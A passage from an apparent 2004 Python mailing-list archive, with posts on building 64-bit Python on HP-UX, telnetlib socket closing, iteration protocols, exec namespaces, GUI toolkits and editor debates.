CFLAGS > > export CFLAGS="-Ae +DD64 -mt -O0 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 > " > ./configure --prefix=/usr/local/aCCPython > > > 4. Edit Makefile to add support for 64-bit compilation and turn off > optimisation. > > I got the hint to remove the optimisation in the README file. I didn't try > to turn the optimisation on, but it may work with the recent ansiC > compiler. > > Diff between the generated Makefile and modified one: > > # Compiler options > -OPT= -DNDEBUG -O > -BASECFLAGS= > +OPT= -O0 > +BASECFLAGS= +DD64 -mt > CFLAGS= $(BASECFLAGS) $(OPT) > -CPPFLAGS= -I. -I$(srcdir)/Include > -LDFLAGS= > +CPPFLAGS= -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I. > -I$(srcdir)/Include > +LDFLAGS= +DD64 -mt > -LINKFORSHARED= -Wl,-E -Wl,+s > +LINKFORSHARED= -Wl,-E -Wl,-s +DD64 > # Extra C flags added for building the interpreter object files. > -CFLAGSFORSHARED= > +CFLAGSFORSHARED= +z > > 5. Edit the pyconfig.h file to enable posix threads > > 6. Edit the setup.py to avoid using installed 32-bit libraries > > Index: setup.py > =================================================================== > RCS file: /cvsroot/python/python/dist/src/setup.py,v > retrieving revision 1.171.6.2 > diff -u -r1.171.6.2 setup.py > --- setup.py 21 Oct 2003 20:01:21 -0000 1.171.6.2 > +++ setup.py 24 Sep 2004 08:16:24 -0000 > @@ -591,7 +591,8 @@ > > # The standard Unix dbm module: > if platform not in ['cygwin']: > - if find_file("ndbm.h", inc_dirs, []) is not None: > +# if find_file("ndbm.h", inc_dirs, []) is not None: > + if None is not None: > # Some systems have -lndbm, others don't > if self.compiler.find_library_file(lib_dirs, 'ndbm'): > ndbm_libs = ['ndbm'] > @@ -698,7 +699,8 @@ > # > # You can upgrade zlib to version 1.1.4 yourself by going to > # http://www.gzip.org/zlib/ > - zlib_inc = find_file('zlib.h', [], inc_dirs) > +# zlib_inc = find_file('zlib.h', [], inc_dirs) > + zlib_inc = None > if zlib_inc is not None: > zlib_h = zlib_inc[0] + '/zlib.h' > version = '"0.0.0"' > > > 7. run gmake all install > > --- > > Issues: > > 1. The following line makes a lot of warnings when compiling, because it > looks like the HP compiler already sets this: > > /* Define to activate features from IEEE Stds 1003.1-2001 */ > #define _POSIX_C_SOURCE 200112L > > 2. Shared library extensions for modules > > The ELF libraries on HP-UX should have the extension .so. I tries to change > the library extension from .sl to .so. However, the install scrips searched > for files with the .sl extension anyway. I didn't dig deep to solve this > issue, because the library extensions aren't that important for me at this > point. > > --- > > I can send the Makefile and the pyconfig.h that I used to compile > the Python to anyone interested. > > > Best regards, > > Matej > > -- > Matej Kenda, HERMES SoftLab d.d., Slovenia From junkmail at chipworks.net Thu Sep 23 15:30:10 2004 From: junkmail at chipworks.net (Mike Monaghan) Date: 23 Sep 2004 12:30:10 -0700 Subject: telnetlib close not closing sockets References: Message-ID: Yannick, The parenthesis after the tn.close() did the trick. I know I've made that mistake somewhere else. Telnetlib's documentation even clearly says .close() and I bet they mean the () is required. Thank you!!! As for read_until, I'm not reaching timeout there. I am however setting a timeout in the statement like so: print tn.read_until("\n>",5) Maybe that change is making it work for me. Did you set a timeout value when you were testing? I do have a problem with an expect, but I'm 99% sure a control character in the stream is missing from my expect statement because some of the strings are being detected. I'm going to play with it again tonight. I have to say I'm much impressed with the python language, documentation, and community. It will take a while to understand some of the doc as they are written in a very technical manner. I personally think its great because most software efforts are plagued by poor documentation. So far all my problems have been my own. Thanks again for your help! Mike Yannick Turgeon wrote in message news:... > Hello Mike, > > Your subject remembered me some hard time using telnetlib on Windows. Oh God > I searched for answers!:o) I would be very happy to prevent you this. To > verify if you have the same problem, Could you tell me if you always reach > the timeout (5 secs) before your read_until() return? > > For your current problem. Did you try with parenthesis after "close": > tn.close() > > I hope it was just that! > > Yannick > > Mike Monaghan wrote: > > HOST = "fred" > > tn = telnetlib.Telnet(HOST) > > tn.write("DEMO\n") > > print tn.read_until("\n>",5) > > tn.write("OFF\n") > > print tn.read_until("Logon Please:",5) > > print tn.read_until("make sure socket queue is empty the hard way",5) > > tn.close > > > > I've tried several options to accomplish this, but for whatever reason > > the socket remains open until I exit python. From ebohlman at omsdev.com Thu Sep 2 02:17:05 2004 From: ebohlman at omsdev.com (Eric Bohlman) Date: 2 Sep 2004 06:17:05 GMT Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> Message-ID: "Amanita, Love Ewe" wrote in news:1bf5bcb9.15695836 at aol.com: > Sharon expects the printer within hers and actually looks. Why will > you grasp the ugly worthwhile onions before Satam does? Many proud > cats over the abysmal planet were loving against the tired bathroom. This seems to be of somewhat better quality than the output of the typical random-text generator. Can anyone suggest something on CPAN useful for such? From ville at spammers.com Wed Sep 22 06:46:37 2004 From: ville at spammers.com (Ville Vainio) Date: 22 Sep 2004 13:46:37 +0300 Subject: Emacs is going to die! =( [was Re: Emacs + python (Was Re: python is going to die! =() References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <87hdprv3qd.fsf_-_@ion.xlipstream.com> Message-ID: >>>>> "Chris" == Chris Green writes: Chris> http://cedet.sourceforge.net/semantic.shtml is a project Chris> working on the backend parsing to be able to be at the Chris> point where that context sensitive dynamic completions can Chris> happen ( well, as well as they could in python ). Are they really considering doing this properly for Python? I haven't even got it running properly with C++, but that might be because I've tried to do it in xemacs. Python should be viable for context sensitive dynamic completion via type inference, it's just that it's a lot of work, work that probably has zero chance of getting done within the cedet project that is resource starved anyway. That's the whole problem with emacs - lack of resources. Nobody bothers do anything "seriously". And when people within the emacs community do things they pick bizarre ways of doing things, possibly because they are often Lisp lovers that like to "think different". And stubborn ones at that. Chris> I love emacs though I keep thinking one day that eclipse Chris> will take over and would love for there to be an emacslike Chris> engine on top of eclipse to access use Chris> customizations/keybindings etc. Eclipse will no doubt take over. I'm a long time emacs user and a fan, but both the emacs projects seem to have stagnated, and part of the problem is that there are two of them. Emacs might need a fresh start, but it's hardly likely; most probably a new project would be seen as further dillution of already scarce emacs resources. Luckily we emacs fans still have hope in eclipse - what needs to be implemented is a Jython API that allows customization of eclipse in the way elisp works for emacs. Eclipse has broad industry support and a fair share of enthusiasm working for it, while emacs just doesn't seem to be what kids like to hack anymore. -- Ville Vainio http://tinyurl.com/2prnb From aleaxit at yahoo.com Mon Sep 6 17:06:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 23:06:06 +0200 Subject: docs on for-loop with no __iter__? References: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> Message-ID: <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> Steven Bethard wrote: > Andrew Dalke mindspring.com> writes: > > What I wanted was forward iteration > > in Python 1.x. It happened that forward iteration was > > implemented only on top of indexing, so I had to hijack the > > indexing mechanism to get what I wanted. But I never thought > > of it as "x[i] indexing" only "the hack needed to get forward > > iteration working correctly." > > Good, that reaffirms my intuition that you didn't really want the __getitem__ > behavior (eg x[i] access) -- it was just the only way to get the __iter__ > behavior too. Yes, it used to be. > Would it break old code if the __getitem__ iterator checked for a __len__ > method and tried to use it if it was there? It just seems like if you already Yes, it would break old code wherever the old code had a __len__ method returning a value not congruent with the index value for which __getitem__ raises IndexError. That's possibly weird old code, but why should it get broken? Consider __len__ used to be a popular way to let your instances be usable in a boolean context -- I believe __nonzero__ was introduced later. So, take a class which only know whether it's empty or not, it could have a __len__ that only returns 0 (==empty) or 1(==nonempty), and still allow proper iteration by only raising in __getitem__ when all items have been iterated on. If loops took account of __len__ suddenly all that old code would break. Maybe there's much and maybe there's little, but why break ANY of it?! > know you're creating a sequence type and you have a __len__ and a __getitem__, > then you've already provided all the necessary information for iteration. Why > should you have to define an __iter__ or throw IndexErrors in your __getitem__? Because you used to be allowed to return from __len__ a value not congruent with the index value for which __getitem__ raises IndexError, and changing that might break old code. As to whether that legacy protocol was optimal, I think not -- today's __iter__ is clearly better, simpler and faster. If you have many classes which define __getitem__ and __len__ and want to iterate on them all, make a mixin class: class MixinLenwiseIterator: def __iter__(self): return LenwiseIterator(self) class LenwiseIterator(object): def __iter__(self): return self def __init__(self, seq): self.seq = seq self.i = 0 def next(self): if self.i >= len(self.seq): raise StopIteration result = self.seq[self.i] self.i += 1 return result Just add MixinLenwiseIterator to your sequence classes' bases and be happy. Alex From jerf at jerf.org Wed Sep 8 02:42:28 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 08 Sep 2004 06:42:28 GMT Subject: Memory Error while constructing Compound Dictionary References: <1gjroty.tp0ndj1vwu3e7N%aleaxit@yahoo.com> Message-ID: On Tue, 07 Sep 2004 20:46:18 -0700, Benjamin Scott wrote: > The Original Problem: > > The data set: 3 Columns and at least 100,000 rows. However, it can > be up to 1,000,000 rows. > > For the purpose of illustration let's suppose that the first column > has the name of 1,000 "Factories", i.e. there are 1,000 unique symbols > in the first column. Likewise, suppose the second column contains a > "production date" or just a date; there are 250 unique dates in the > second column. Finally, suppose the third column contains a > description of a "widget type"; there are 500 unique widget > descriptions. Based on these numbers, aren't the majority of your lists empty? In that case, key off of a tuple as you need them. For some "factory", "date", "widget" and "whatever" (the data, which you don't specify): Dict[(factory, date, widget)].setdefault([]).append(whatever) (You may actually benefit from changing the setdefault around to some "try"-based scheme; you'd have to benchmark the various choices if it matters to you. Also, depending on your data, consider Psyco.) No extra memory. Some potentially significant slowdown due to tuple construction and empty list construction. (Depending on what you are doing, C++ and the STL can be not *that* much harder to program in, and it should support hash tables with tuple keys, although I don't know the magic incantations off the top of my head. If you're just adding some numbers or something, this is also likely to be enough faster that it may even be faster to develop in, since the program will almost certainly execute much, much faster, potentially making the write-compile-test-debug cycle still faster than Python. Of course, if this is a prelude to complicated meta-hack programming of the type Python makes easy, never mind; I'm kinda guessing you're just storing numbers on the grounds that you can't store much else in the machine at once. If that's a bad assumption, you are in some trouble, as even C++ can only be 100%-episilon efficient and it will likely be affected by the same memory limit, in which case you either need a larger machine or a database. Actually, you probably should go to a database now; these problems have a habit of doubling or tripling in size when someone decides it'd be neat to add Just One More attribute and you already pretty much can't afford that.) From lkirsh at cs.ubc.ca Thu Sep 2 00:56:40 2004 From: lkirsh at cs.ubc.ca (Lowell Kirsh) Date: Wed, 01 Sep 2004 21:56:40 -0700 Subject: why is this so slow? In-Reply-To: References: Message-ID: thanks for the help. the link is really good too :) Robert Brewer wrote: > Lowell Kirsh wrote: > >>I created the following class (I know it's a dirty hack) so I >>could do >>foo.bar instead of using a dictionary and having to type foo['bar'] : >> >> class DefaultAttr(object): >> def __getattribute__(self, attr): >> if not hasattr(self, attr): >> return '' >> return object.__getattribute__(self,attr) >> >>but its use is totally slowing down my program. Why is it so >>slow and is there a better way? > > > IIRC, hasattr calls __getattribute__. If you run: > > class DefaultAttr(object): > def __getattribute__(self, attr): > print "Looking up %s" % attr > if not hasattr(self, attr): > return '' > return object.__getattribute__(self,attr) > da = DefaultAttr() > print da.f > > ...you can see the lookups whizzing by. Try this instead: > > class DefaultAttr(object): > def __getattr__(self, attr): > return '' > > http://docs.python.org/ref/attribute-access.html explains the > difference, that __getattr__ only gets called when the object is not > found "in the usual places". > > > HTH > > Robert Brewer > MIS > Amor Ministries > fumanchu at amor.org From aleaxit at yahoo.com Sun Sep 5 12:41:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 18:41:01 +0200 Subject: list conversion question References: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> Message-ID: <1gjlql9.1e3392o1gkiwayN%aleaxit@yahoo.com> Paul McGuire wrote: ... > values = [ i for i in enumerate(hist)] values = list(enumerate(hist)) is IMHO a better way to make a list in such cases. Alex From roy at panix.com Wed Sep 22 09:29:04 2004 From: roy at panix.com (Roy Smith) Date: Wed, 22 Sep 2004 09:29:04 -0400 Subject: Emacs is going to die! =( [was Re: Emacs + python (Was Re: python is going to die! =() References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <87hdprv3qd.fsf_-_@ion.xlipstream.com> Message-ID: Of course emacs is going to die someday. But considering that it's been around for something like 25 years, and still going strong, I'm not too worried that it's going to be anytime soon. From askari at addressNonValide.com Mon Sep 20 08:07:53 2004 From: askari at addressNonValide.com (Askari) Date: Mon, 20 Sep 2004 12:07:53 GMT Subject: sys.setdefaultencoding(name) References: Message-ID: Harald Massa wrote in news:Xns9569F39D2C884cpl19ghumspamgourmet at 195.20.224.116: > Askari, > >> """ >> import site >> site.encoding = "latin_1" >> """ >> >> Why? >> And, I do the good think? (site.encoding = "latin_1") > > No, you do a the bad thing. > > You have to EDIT the site.py within python\lib\site.py > > open it within an editor, find "ASCII" and replace by latin1 > > site.encodiging="Latin_1" just adds an attribute NOBODY cares for to a > module in memory. > > Harald > It work! :-) Thanks! From aleaxit at yahoo.com Wed Sep 15 10:20:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 16:20:31 +0200 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> Message-ID: <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Jorge Godoy wrote: ... > > On a Mac it looks like anything else does on a Mac, and > > on Linux or Windows it (currently) looks like anything > > else that uses Gtk. > > I'm not familiar with the looks on Macs... But I remember something of > it, from the last visit to a store that has some of these here > (I remember specially the design of the computers, the look of the > applications seemed very interesting, but KDE is approaching it very > fast, IMHO). IMNSHO, nope -- I'm quite a fan of KDE, but I discovered Macs 9 months ago and immediately fell in love with MacOSX's "Aqua" user interface look and feel. These days I use a Mac for everything I can possibly use one for, even though I mostly program for Linux (and a little Windows). > I really would like a lot if it was possible to write > non-GPL code with Qt (not that I'm against GPL software, but some It's perfectly possible: Trolltech, the authors of Qt, will be extremely happy to sell you a commercial license of Qt so you can develop and sell your code as closed-source or whatever. > > As far as I can remember, I drew them with Appleworks 6, > > printed them to PDF files, opened them with Preview and > > then saved them as jpegs. (Photoshop might also have been > > involved in there somewhere, I don't recall now.) > > Too bad these aren't tools available on Linux or FreeBSD... I really > liked the way they look :-) Me too (well, not Photoshop, actually -- if I had to process images I think I'd use GIMP instead), so I use them on my Mac iBook 12" laptop (whose operating system's guts aren't all that far from FreeBSD -- there's some Mach microkernel involved, but it's very unlikely that could possibly be a problem -- those guts are all opensource, too, under the name of 'Darwin'). Alex From jeff at ccvcorp.com Thu Sep 30 21:13:00 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 30 Sep 2004 18:13:00 -0700 Subject: embedding python in python In-Reply-To: <415ca9a3$1@news.unimelb.edu.au> References: <415a7f0b$1@news.unimelb.edu.au> <4b39d922.0409290938.42c68ca4@posting.google.com> <415b415e$1@news.unimelb.edu.au> <415c921b$1@news.unimelb.edu.au> <10lp8chm0d6u185@corp.supernews.com> <415ca9a3$1@news.unimelb.edu.au> Message-ID: <10lpblcj519fv1f@corp.supernews.com> Maurice LING wrote: > Please pardon me for my dumbness but what exactly goes on in > > exec "b = 1 + 2" in myglobals, mylocals What's happening is that I've provided two dictionaries for exec to use as a global namespace and a local namespace, respectively. In this particular example, both namespaces are empty, but we're not looking up any names in those namespaces, so that doesn't matter. We *are* binding a name ('b') in the local namespace. That local namespace is the dict I've named mylocals, so when exec is finished I can reference mylocals['b'] and find the value that 'b' was bound to inside the exec statement. The next example is a bit more complex. I'm passing the same dictionaries, but now the local namespace contains that reference to 'b'. The exec statement looks up that name, finds that it's bound to the value 3, multiplies that value by 2, and binds the result to 'c', again all in the local namespace (which is still the mylocals dict). Now I've got *two* names bound in mylocals -- 'b' and 'c'. Note that my initial dictionaries don't need to be empty. Just as was demonstrated in the second example, if there are entries in those dictionaries then the exec'd code can refer to them as if they were normal (global or local) variable names. This also means that exec'd code can't refer to any *other* global or local variables -- >>> myglobals = {} >>> mylocals = {} >>> foo = 5 >>> exec "bar = foo * 5" >>> bar 25 >>> exec "bar = foo * 5" in myglobals, mylocals Traceback (most recent call last): File "", line 1, in ? File "", line 1, in ? NameError: name 'foo' is not defined >>> myglobals['foo'] = 10 >>> exec "bar = foo * 5" in myglobals, mylocals >>> mylocals {'bar': 50} >>> When using a bare exec, the current local and global namespaces are used, so exec finds 'foo' and binds 'bar'. But when I give exec two empty dicts, the name 'foo' is undefined within the exec statement, even though it exists in the interpreter's namespace. After creating 'foo' within myglobals, though, exec can find it, and then binds 'bar' within mylocals. In short, you can carefully construct a global and local namespace for your exec'd code, which contains only those variables that you *want* that code to see. If that exec'd code binds any new variable names, then those names will remain in those namespaces when exec is done, so you can retrieve them later. Jeff Shannon Technician/Programmer Credit International From maxm at mxm.dk Tue Sep 7 07:21:48 2004 From: maxm at mxm.dk (Max M) Date: Tue, 07 Sep 2004 13:21:48 +0200 Subject: How to actually write a program? In-Reply-To: References: Message-ID: <413d98f8$0$190$edfadb0f@dread12.news.tele.dk> Anna Martelli Ravenscroft wrote: > One other tip: add lots of print statements. Print statements are your > friend. They can help you figure out what it's *actually* doing, (and more > importantly sometimes: what it's *NOT* doing) rather than just what you > hope it might be doing. For example, when you start on defining funcx(a), > you could start by having it just print what you gave it for arguments. > You can always comment out or remove the print statements afterwards. If you intend to use print that way it might be more efficient to write a special test print function. def tp(text): TEST = 1 if TEST: print text That way you will only have to set TEST = 0 to avoid printing debug print statements. regards Max M From dperl at rogers.com Wed Sep 1 20:17:22 2004 From: dperl at rogers.com (Dan Perl) Date: Thu, 02 Sep 2004 00:17:22 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: "David Bolen" wrote in message news:u3c21wnbq.fsf at fitlinxx.com... > "Dan Perl" writes: > > > After all this discussion, what do people think about this code? > > On face value, I'd question why you're going through the extra effort. > I may be missing the point in such a small example, but just having an > __init__ in the base class that subclasses are supposed to call seems > simpler. > > If you're just trying to find some way to have default attributes that can > be used from subclasses without calling __init__, I'd probably just use > class level definitions. For example: That is exactly what I'm trying to do, and in the initial posting of the thread I was mentioning an initialization exactly like yours, but at the same time I was pointing out that an initialization like that works only for immutable attributes and not for mutable attributes, hence the need for the __init__. Or doing it in __new__ as I showed in the new code. > - - - - - - - - - - - - - - - - - - - - - - - - - > Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. > >>> class Test(object): > ... attr1 = 666 > ... > >>> class Derived(Test): > ... def __init__(self): > ... self.attr2 = 111 > ... > >>> d = Derived() > >>> print d.attr1, d.attr2 > 666 111 > >>> print isinstance(d, Test) > True > >>> > - - - - - - - - - - - - - - - - - - - - - - - - - > > -- David From carribeiro at gmail.com Mon Sep 6 09:18:26 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 6 Sep 2004 10:18:26 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: References: <864d370904090306333b53ef56@mail.gmail.com> <1gjjy21.2sppd3100wm1fN%aleaxit@yahoo.com> Message-ID: <864d370904090606187d86d812@mail.gmail.com> On 6 Sep 2004 12:18:24 GMT, Antoon Pardon wrote: > But I think it would be nice to have a naming convention that made > it clear whether you got an iterator or a sequence (list). > > If we would use names like ranging, reversing ... when an iterator > is returned and sorted, ... when a sorted copy of the sequence > is returned I think that would greatly help people in understanding > what is going on. After reading all the arguments, it is clear that there are two ways to look at the naming situation. 1) If you look it from a structured point of view, there are four possible combinations of sorted() and reversed(), depending upon the return value -- a list or an iterator. In this case, the names for the current builtins should be sorted() and ireversed(). 2) If you take a more relaxed look and want to give simple names to solve the most useful and common situations, then the current naming scheme is ok, with a single exception: you can't used reversed() to assign the reversed list to another variable. That's the only catch. The case for (1) would be stronger if the proposed naming didn't had any problems of its own. Just to mention a few problems with the ireversed() name: -- It smells something out of hungarian notation, which many people don't like at all. -- The "i" prefix is overloaded just too many times (specially if you consider upper and lower case variations) -- it can mean integer, interface, or iterable (in the case of itertools). -- I don't know about any other opinions, but the "i" prefix just doesn't sound right to me, pretty much because ireversed() sounds like a different word with a different meaning, not like "i-reversed". In linguistic terms, it *is* a problem because the "i" prefix does have a meaning of its own -- as in reversible --> irreversible. And xreversed() (my original choice) is out of question, as xrange is being deprecated now. In the end, it may end up being a matter of choice and personal taste. ireversed() is more consistent (accordingly to line of reasoning (1)) but doesn't *sound* as good as reversed(). I just can't come up with a different naming scheme that is both readable and simple to remember. I fear that it's too late to discuss it properly now. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From martin at v.loewis.de Fri Sep 17 02:38:17 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 17 Sep 2004 08:38:17 +0200 Subject: XML_RPC and unicode problems In-Reply-To: References: <7bf84d19.0409161548.521da358@posting.google.com> Message-ID: <414A8659.7080902@v.loewis.de> phansen wrote: > Seems to me that description is inadequate, if one has to revert > to to pass through a string with an \xa0 in it. No. \xa0 just is not a character. In XML, all bytes must denote characters, and \xa0 does not denote any character when the encoding is UTF-8. To transmit binary data, use the base64 element, available through xmlrpclib.Binary in Python. Regards, Martin From grante at visi.com Mon Sep 20 12:01:25 2004 From: grante at visi.com (Grant Edwards) Date: 20 Sep 2004 16:01:25 GMT Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> Message-ID: <414efed5$0$60631$a1866201@newsreader.visi.com> On 2004-09-20, Ajay wrote: > its actually windows that i would like to find out about. what > i am trying to do is to anonymize client address by picking a > random MAC address and using that instead That's a pretty bad idea. If you insist on doing it, read the Ethernet spec so you make sure you're picking a valid address. -- Grant Edwards grante Yow! Yow! I'm out of at work...I could go into visi.com shock absorbers...or SCUBA GEAR!! From onurb at xiludom.gro Thu Sep 23 16:18:59 2004 From: onurb at xiludom.gro (bruno modulix) Date: Thu, 23 Sep 2004 22:18:59 +0200 Subject: good way to do side effects on lists? In-Reply-To: <85bc2819.0409230702.2a5c4ab5@posting.google.com> References: <415208a1$1_4@news3.es.net> <85bc2819.0409230702.2a5c4ab5@posting.google.com> Message-ID: <4153315a$0$17453$636a15ce@news.free.fr> danny a ?crit : > Michael Hoffman wrote in message news:... > > >>But with all that set-up it's not really a one-liner. And what's wrong with >>your first proposal anyway? > > > Nothing is really wrong with it. I assume it runs a little slower than > something native, Dont assume, test !-) def fun(arg): if arg > 500 : a = 42 else: b = 84 def withfor(alist): for item in alist: fun(item) def withmap(alist): map(fun, alist) alist = range(1000) from timeit import Timer t1 = Timer("withfor(alist)", "from __main__ import withfor, alist") t2 = Timer("withmap(alist)", "from __main__ import withmap, alist") t1.repeat(3, 1000) [1.9760220050811768, 1.975412130355835, 1.9746799468994141] t2.repeat(3, 1000) [2.1670758724212646, 2.1661739349365234, 2.1647889614105225] HTH Bruno From carribeiro at gmail.com Wed Sep 8 13:37:20 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 8 Sep 2004 14:37:20 -0300 Subject: A historical question In-Reply-To: References: Message-ID: <864d370904090810375f8d136d@mail.gmail.com> On Wed, 08 Sep 2004 11:59:38 -0400, Peter Hansen wrote: > Carlos Ribeiro wrote: > > ... Even old > > languages such as BASIC used to be compiled to some form of > > intermediate code -- a similar concept to Python's bytecode, but much > > simpler. > > > > The only "compilation" that went on was actually called > "tokenization", and that meant only that keywords such > as PRINT were turned into single-byte values that corresponded > directly to the keyword in the source. You're right -- I oversimplified my explanation to reinforce the fact that few systems ever run the program directly from the source code, as the original poster implied in his question. Tokenization is only the first step. But as a generic (and simple) explanation, its result is conceptually one step closer to Python's (or Java's) bytecode than the original (textual) program source. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From fluxent at yahoo.com Sat Sep 11 08:33:24 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 11 Sep 2004 05:33:24 -0700 Subject: newbie sending hex values over UDP socket References: Message-ID: Peter Hansen wrote in message news:... > Bill Seitz wrote: > > Are you saying I can just do something as simple as > > sock.send('ri0') > > ? > > Exactly. That sends three bytes corresponding to the > "raw" byte values you showed before. > > > (This interface is typically used over a modem connection between 2 > > embedded/hardware devices, if that provides a clue/context. So it's > > entirely possible that I've thought the situation was more complicated > > than it really is because the other guy is used to dealing with these > > low-level devices...) > > The beauty of Python... makes working with even low-level hardware > a pleasure compared to many languages. :-) > > -Peter Excellent - now how about calculating a parity-check byte? From aleaxit at yahoo.com Wed Sep 22 08:29:20 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 14:29:20 +0200 Subject: python ides References: Message-ID: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> Chris S. wrote: ... > > http://wingware.com/downloads > > Aside from being proprietary, how is WingIDE different from SPE > (spe.pycs.net)? I'm not a big IDE user, but I've seen WingIDE's debugger in the hand of an IDE-wizard, and it _is_ incredible. > > and finaly ,a super complete debuger , with support for plone/zope , > > wxwindows and a lot of advanced options. > > I'll give you this one, this I don't think SPE has a traditional > "debugger". Although to be fair, I've never needed one for Python. I don't need one often, but sometimes one DOES run into something sufficiently weird -- and when it happens it can take days to sort it out. Case in point: rewriting the web layer for a client's multi-tier application framework, to use twisted and nevow instead of Webware, we were occasionally getting the weirdest 'recursion limit exceeded' tracebacks -- and if you've ever tried to divine what's going on from a Twisted traceback with a few dozen deferreds in play, some intercepting errors and some not, etc, etc, you know that isn't comfortable. Two of us trashed around for 2-3 days trying all the usual things. Finally one of the GUI specialists in another subteam of the same framework development team offered to help us with WingIDE. He's the one who does custom layout widgets, weird super-nested-lists-and- trees-widgets, etc etc, for the cross-platform GUI-clients of that framework, on top of Qt/PyQt etc, and claims that without that debugger he could never solve the weird and delicate issues that continually arise in his work. Be that as it may, in 2-3 hours we were on top of the problem: there is an intrinsic, undocumented limit to how many items you can feed to a newvow:sequence renderer, if those items are deferreds, because they all get chained into a linked list whose __del__, at the end, proceeds _by recursion_. So, if you have too many items in the sequence, it's recursion-limit-exceeded time, and the dance of bouncing exception handlers starts playing (in a too-deep-nesting situation, too). Once the problem was identified the solution was trivial (as it generally is): there was really no justification for showing a thousand 'hits' of some search as one humungous table in a single webpage anyway... we simply hadn't bothered yet with implementing the code to slice the hits into multiple pages and let the user page back and forth in the browser. So we did, ensuring no single sequence of hundreds of deferreds could ever be rendered in one gulp, and the problem disappeared. But, that debugger really DID save our bacon on that occasion. I'm not sure how it managed to get control at the right time within that thicket of exception handlers and let us examine hundreds of nested stack frames looking for the underlying cause (I know the cause sounds trivially obvious in retrospect, but THAT, too, is par for the course... one of the hardest bugs to find in my career, back in Fortran days, boiled down in the end to an .LT. being used where an .LE. should have been... a *one*-*character* fix after days of fighting to find the right place out of over a million lines of code in the system...!-). But manage it did. Next time we spend more than 2-3 hours chasing some bug that just won't show up, I'm going to go and ask that WingIDE expert user for some little help!-) Alex From zanesdad at bellsouth.net Wed Sep 29 13:59:30 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 29 Sep 2004 13:59:30 -0400 Subject: multiple instance on Unix In-Reply-To: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> Message-ID: <415AF802.1080909@bellsouth.net> Nigel King wrote: > Hi, > I have (my son has!) implemented protection against multiple instances > causing havoc by creating a directory. This fails if it exists and > thus in a single instruction one gets both the acquire and the test. > > Windows has it's mutex which solves the problem. Is there any better > version for UNIX. > > Thanks > > Nigel King > Could you explain a little better what you're trying to do? I'm guessing that you (your son - I'm looking forward to that day, myself ) have multiple Python processes and you want only one process to be able to create a directory? If so, you could do something like this: import time import os waiting_for_lock = 1 while waiting_for_lock: try: os.mkdir('/tmp/foo') waiting_for_lock = 0 except OSError: print "could not create directory" time.sleep(1) #do whatever you need one and only one process to do... HTH Jeremy Jones From ed at leafe.com Sat Sep 25 17:08:49 2004 From: ed at leafe.com (Ed Leafe) Date: Sat, 25 Sep 2004 17:08:49 -0400 Subject: up with PyGUI! In-Reply-To: References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> Message-ID: <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> On Sep 25, 2004, at 7:47 PM, OKB (not okblacke) wrote: > Well, I see what you mean, but conversely, even in the example you > gave above, it seems to me that the "def __init__" is (or should be) > superfluous. The very fact that you are defining a button inside a > panel clearly indicates that you want the button to be added to the > panel. Restating this information repeatedly with an __init__ and self > references and explicit "add" methods is cumbersome. Actually, I just used the __init__() method because that would be more familiar to most Python folk. Dabo has a method named afterInit() that is designed for things such as adding contained objects, so that __init__() is available for the usual instance initialization stuff. I guess I don't see how this is any more cumbersome than creating ersatz "class" definitions in an attempt to avoid writing explicit code. In my form, I want 5 controls added, and I want particular properties set on each. So there are 5 addObject() commands, and just as many lines setting props as necessary. You would write 5 class definitions, each of which has just as many lines setting props within that class definition. The only difference that I can see is yours relies on an implicit technique to actually add the objects to their container, while mine uses an explicit one. ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From andywil at nortelnetworks.com Wed Sep 